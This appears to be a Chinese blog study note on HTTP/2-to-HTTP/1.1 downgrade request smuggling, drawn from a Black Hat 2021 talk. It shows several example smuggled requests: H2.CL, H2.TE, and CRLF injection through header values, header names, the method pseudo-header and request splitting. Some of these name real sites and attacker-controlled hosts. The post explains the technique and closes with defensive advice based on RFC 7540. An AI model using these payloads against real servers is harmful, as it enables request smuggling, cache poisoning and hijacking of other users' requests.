热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

HTTP/2降级走私攻击

 一直关注的Black Hat USA 2021议题HTTP/2: The Sequel is Always Worse,最近终于看到相关文档,这里记录下学习到的内容。 关于HTTP/2HTTP/2标

 

一直关注的Black Hat USA 2021议题HTTP/2: The Sequel is Always Worse,最近终于看到相关文档,这里记录下学习到的内容。

 

关于HTTP/2

HTTP/2标准于2015年5月以RFC 7540正式发表,基于SPDY协议。根据W3Techs的数据,截至2021年7月,全球有46.0%的网站支持了HTTP/2。


新特性

HTTP/2协议相对于HTTP/1.1在性能上有了很大的提升,主要具有以下新特性


  1. 二进制分帧

  2. 请求与响应复用

  3. 服务端推送

  4. 头部压缩



攻击点

对于这些新特性,都有相对应的攻击点。目前大多数CDN厂商都支持HTTP/2,但是很多后端服务并不支持,所以CDN需要做一个HTTP/2到HTTP/1.x的转换,对于头部压缩特性,需要进行解压,所以导致带宽放大攻击,具体可以看HTTP协议攻击。本文将主要介绍HTTP/2降级导致的走私攻击,对于其他文章中编写的隧道和其他攻击方式,有兴趣的可以查看引用获取资料。

 

HTTP/2降级走私



产生原因

在 HTTP/1 中,每个消息主体的长度通过内容长度(Content-Length)或传输编码(Transfor-Encoding)header表示。

在 HTTP/2 中,这些header是多余的,因为使用二进制流进行传输,没有文本的概念,消息的内容都是由数据帧(Data Frame)进行传递,每个帧中的内容的长度,是有Length进行记录的。

看似走私并不会在HTTP/2协议中发生(我之前也是这么想的),但是在HTTP/2转换为HTTP/1.x的降级过程中,就会出现新的问题。

前端服务使用HTTP/2协议,使用协议中内在的message的Length,而后端服务却使用HTTP/1.1协议,可以接收到含有CL或者TE的请求,此时就会导致出现HTTP/2协议的走私可能。


案例研究



H2.CL

以Netflix为例,发送此http/2数据

在转换成http/1.1后,内容成为了

POST /n HTTP/1.1
Host: www.netflix.com
Content-Length: 4
abcdGET /n HTTP/1.1
Host: 02.rs?x.netflix.com
Foo: bar

对于后端服务来说,这直接导致了走私漏洞,相关漏洞信息可以查看CVE-2021-21295。那么对于完全不需要Content-Length来进行标识请求体长度的HTTP/2协议来说,为什么会出现这个问题呢?

RFC7540编写的十分清晰,HTTP/2请求和响应可以包括Content-Length头,但是对于Content-Length的值和DATA frame的长度不一致的情况,应该视为格式错误。而且第三段明确规定,处理 HTTP 请求或响应的中介(即任何中介不充当隧道)不得转发格式错误的请求或响应。


H2.TE

此漏洞发生在AWS Application Load Balance中

发送数据包为

后端服务接受到数据包为

POST /identity/XUI/ HTTP/1.1
Host: id.b2b.oath.com
Content-Length: 68
Transfer-Encoding: chunked
0
GET /oops HTTP/1.1
Host: psres.net
Content-Length: 10
x=

这种走私类型就类似于HTTP/1.1中的CL-TE。

这种漏洞的产生,也是中间件对于Transfor-Encoding的处理出现了错误导致,对于HTTP/2来说,一个TCP连接就可以完成一个客户端和服务端之间持续的数据的传送,所以对于Connection系列字段都是不需要的,所有请求与响应的标识是通过Stream ID来进行的。

RFC7540规定,端点不得生成包含特定于连接的标头的 HTTP/2 消息
领域;任何包含特定连接头的消息必须被视为格式错误,唯一的例外是 TE 头,可以存在于 HTTP/2 请求中,但其不得包含任何“trailers”以外的取值。当然如果中间件需要处理从HTTP/1.x到HTTP/2的转换,是应该删除相关连接头,Keep-Alive, Proxy-Connection, Transfer-Encoding, and Upgrade,即使他们没有被标识为连接头字段。


H2.TE 通过http header值注入

即使中间件正确处理了Transfor-Encoding头,将之删除或者直接返回错误,但是依旧可以参照http/1.1的header注入,来进行走私。

在中间件验证HTTP/2数据包头部是否含有Transfor-Encoding的情况下,直接不把Transfor-Encoding作为一个完整的header字段,而是通过r\n注入在header中的字段值中,这样就绕过了上文RFC规定的验证。

如果通过转换,其HTTP/1.1请求为

POST / HTTP/1.1\r\n
Host: start.mozilla.org\r\n
Foo: b\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 77\r\n
\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: evil-netlify-domain\r\n
Content-Length: 5\r\n
\r\n
x=

这样依旧可以造成走私。

当然在HTTP/2中是二进制流协议,并不像HTTP/1.x需要\r\n来进行每一行的标识。然而当把这些可以在HTTP/1.x中作为标识的字符用在HTTP/2中,在转换过程中,就会让其发挥作用,导致安全问题。RFC也考虑到此问题

如果这些字符如CRLF,0x0,被逐一解析,可能被攻击者利用,所以规定任何请求或响应包含头字段值中不允许的字符必须被视为格式错误,当然很明显并不是多有中间件都遵守此规定。


H2.TE 通过header name注入

上文提到,通过在header字段中,添加\r\n来进行Transfor-Encoding的注入,从而绕过HTTP/2协议中不允许Transfor-Encoding字段的规定,那么可以在header name中也实现注入,这种情况就需要另外一个危险字符:

转换HTTP/1.1后,数据包为

GET / HTTP/1.1
foo: bar
transfer-encoding: chunked
host: ecosystem.atlassian.net

依旧可以使用Transfor-Encoding来进行走私。


H2.TE 通过请求行注入

如果中间件只是修复了普通Header中关于危险字符的过滤,那么对于foo或者Transfor-Encoding字段来说,并不能使用,所以作者使用伪标头来进行注入,在HTTP/2中,所有标头字段名称均为小写,请求行拆分成各个:method:scheme:authority:path 伪标头字段,以:method为例

将走私请求直接注入到method中

GET / HTTP/1.1
transfer-encoding: chunked
x: x /ignored HTTP/1.1
Host: eco.atlassian.net

所以中间件对于header中危险字符的过滤,应该把所有字段都进行处理。


H2.X 通过请求拆分

既然可以注入\r\n,作者又直接将整个走私请求注入到header处,以达成攻击。

这种方式,更加简单粗暴,只要中间件在转换过程中,逐一识别危险字符\r\n,那么转换成的HTTP/1.1数据就为

GET / HTTP/1.1
Foo: bar
Host: ecosystem.atlassian.net
GET /robots.txt HTTP/1.1
X-Ignore: x
Host: ecosystem.atlassian.net\r\n
\r\n

这种走私,不需要使用Transfor-Encoding编码,也不需要body和POST方法。

 

总结

随着HTTP/2的普及,更多中间件开始支持HTTP/2,来提高网站的性能,无论是CDN或者WAF,未来可能都会使用HTTP/2,但是后端服务只支持HTTP/1.x的情况也会很常见,所以中间件必须将HTTP/2转换为HTTP/1.x,才能与后端服务通信,如果在实现上没有考虑很多安全问题,这种协议的降级造成的危害是致命的,无论是带宽放大,还是走私,或者缓存投毒。业务层可以尽量避免协议的降级,如果无法避免,应该在实现上,尽量按照RFC规定来进行实现,防止出现严重的安全问题。

 

引用

https://www.blackhat.com/us-21/briefings/schedule/#http2-the-sequel-is-always-worse-22668

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Kettle-HTTP-The-Sequel-Is-Always-Worse.pdf

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Kettle-HTTP2-The-Sequel-Is-Always-Worse-wp.pdf

https://datatracker.ietf.org/doc/html/rfc7540


推荐阅读
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • t-io 2.0.0发布-法网天眼第一版的回顾和更新说明
    本文回顾了t-io 1.x版本的工程结构和性能数据,并介绍了t-io在码云上的成绩和用户反馈。同时,还提到了@openSeLi同学发布的t-io 30W长连接并发压力测试报告。最后,详细介绍了t-io 2.0.0版本的更新内容,包括更简洁的使用方式和内置的httpsession功能。 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 个人学习使用:谨慎参考1Client类importcom.thoughtworks.gauge.Step;importcom.thoughtworks.gauge.T ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 解决nginx启动报错epoll_wait() reported that client prematurely closed connection的方法
    本文介绍了解决nginx启动报错epoll_wait() reported that client prematurely closed connection的方法,包括检查location配置是否正确、pass_proxy是否需要加“/”等。同时,还介绍了修改nginx的error.log日志级别为debug,以便查看详细日志信息。 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • svnWebUI:一款现代化的svn服务端管理软件
    svnWebUI是一款图形化管理服务端Subversion的配置工具,适用于非程序员使用。它解决了svn用户和权限配置繁琐且不便的问题,提供了现代化的web界面,让svn服务端管理变得轻松。演示地址:http://svn.nginxwebui.cn:6060。 ... [详细]
  • Android实战——jsoup实现网络爬虫,糗事百科项目的起步
    本文介绍了Android实战中使用jsoup实现网络爬虫的方法,以糗事百科项目为例。对于初学者来说,数据源的缺乏是做项目的最大烦恼之一。本文讲述了如何使用网络爬虫获取数据,并以糗事百科作为练手项目。同时,提到了使用jsoup需要结合前端基础知识,以及如果学过JS的话可以更轻松地使用该框架。 ... [详细]
  • 本文讨论了如何使用GStreamer来删除H264格式视频文件中的中间部分,而不需要进行重编码。作者提出了使用gst_element_seek(...)函数来实现这个目标的思路,并提到遇到了一个解决不了的BUG。文章还列举了8个解决方案,希望能够得到更好的思路。 ... [详细]
  • 基于移动平台的会展导游系统APP设计与实现的技术介绍与需求分析
    本文介绍了基于移动平台的会展导游系统APP的设计与实现过程。首先,对会展经济和移动互联网的概念进行了简要介绍,并阐述了将会展引入移动互联网的意义。接着,对基础技术进行了介绍,包括百度云开发环境、安卓系统和近场通讯技术。然后,进行了用户需求分析和系统需求分析,并提出了系统界面运行流畅和第三方授权等需求。最后,对系统的概要设计进行了详细阐述,包括系统前端设计和交互与原型设计。本文对基于移动平台的会展导游系统APP的设计与实现提供了技术支持和需求分析。 ... [详细]
  • 本文介绍了在rhel5.5操作系统下搭建网关+LAMP+postfix+dhcp的步骤和配置方法。通过配置dhcp自动分配ip、实现外网访问公司网站、内网收发邮件、内网上网以及SNAT转换等功能。详细介绍了安装dhcp和配置相关文件的步骤,并提供了相关的命令和配置示例。 ... [详细]
  • 【shell】网络处理:判断IP是否在网段、两个ip是否同网段、IP地址范围、网段包含关系
    本文介绍了使用shell脚本判断IP是否在同一网段、判断IP地址是否在某个范围内、计算IP地址范围、判断网段之间的包含关系的方法和原理。通过对IP和掩码进行与计算,可以判断两个IP是否在同一网段。同时,还提供了一段用于验证IP地址的正则表达式和判断特殊IP地址的方法。 ... [详细]
  • 单页面应用 VS 多页面应用的区别和适用场景
    本文主要介绍了单页面应用(SPA)和多页面应用(MPA)的区别和适用场景。单页面应用只有一个主页面,所有内容都包含在主页面中,页面切换快但需要做相关的调优;多页面应用有多个独立的页面,每个页面都要加载相关资源,页面切换慢但适用于对SEO要求较高的应用。文章还提到了两者在资源加载、过渡动画、路由模式和数据传递方面的差异。 ... [详细]
author-avatar
mobiledu2502892377
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有